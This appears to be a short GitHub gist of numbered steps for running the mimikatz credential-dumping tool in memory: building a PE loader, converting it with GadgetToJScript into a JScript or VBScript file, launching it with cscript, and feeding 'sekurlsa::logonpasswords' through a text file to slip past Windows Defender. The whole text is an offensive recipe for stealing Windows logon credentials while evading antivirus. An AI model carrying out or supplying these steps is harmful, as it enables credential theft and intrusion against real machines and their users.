Steps.txt
October 19, 2019 ยท View on GitHub
-
Download the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases
-
Get Mimikatz PE Loader from https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a
-
use @pljoel katz.cs cs file and uncomment the building lines available on Delivery.Program.Main() & comment Exec() line of code.
-
Build it to generate file.b64, copy its content and replace Package.file string available on payload.txt file.
-
Make sure payloadPath var is properly set on "TestAssemblyLoader.cs"
-
Download https://github.com/med0x2e/GadgetToJScript and replace TestAssemblyLoader.cs with the updated one.
-
Build GadgetToJscript using VS. (x64/release).
-
Create mimikatz.js using GadgetToJscript using: C:< path to GadgetToJscript >\GadgetToJscript.exe -w js -o mimi.js
-
Launch mimikatz in-memory using: cscript mimi.js (or C:\Windows\SysWow64\cscript.exe)
-
Same thing can be done for vbscript, use the "-w vbs" switch instead.
-
In case if windows defender is killing mimikatz when loaded via JS/VBS or when trying to run mimi.js with "privilege::debug sekurlsa...":
a) echo sekurlsa::logonpasswords > safe.txt
b) cscript mimi.js privilege::debug < safe.txt